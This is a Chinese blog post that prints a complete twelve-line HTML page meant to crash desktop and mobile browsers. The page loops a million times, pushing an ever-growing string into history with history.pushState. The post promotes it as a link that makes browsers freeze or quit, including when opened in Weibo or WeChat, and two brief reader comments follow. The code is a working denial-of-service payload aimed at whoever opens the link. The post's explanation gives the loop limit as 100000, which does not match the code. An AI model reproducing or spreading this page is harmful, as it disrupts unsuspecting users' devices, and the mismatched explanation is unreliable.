这12行代码分分钟让你浏览器崩溃iPhone重启

  • 内容
  • 相关

转载请注明本文链接:https://blog.l9s.cc/.html  [生成短网址]

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启,如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死,你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。

6ae51512874941.jpg

完整HTML代码如下:

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{

   total= total+i.toString();

   history.pushState(0,0,total);

}

</script>

</body>

</html>
	

点开后会发生什么?反正我的第一反应是这样的:

c4011512874941.jpg

解答:

history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。

本文标签:

版权声明:若无特殊注明,本文皆为《王晓明》原创,转载请保留文章出处。

本文链接:这12行代码分分钟让你浏览器崩溃iPhone重启 - https://blog.l9s.cc/教程代码/59.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

评论

2条评论
  1. avatar

    钟水洲博客 Lv.1 回复

    贵站文章写得很好!

    江苏省苏州市 电信

    1. 王晓明 回复

      回复了钟水洲博客:哎呦  欢迎 来访哟

      河南省郑州市 联通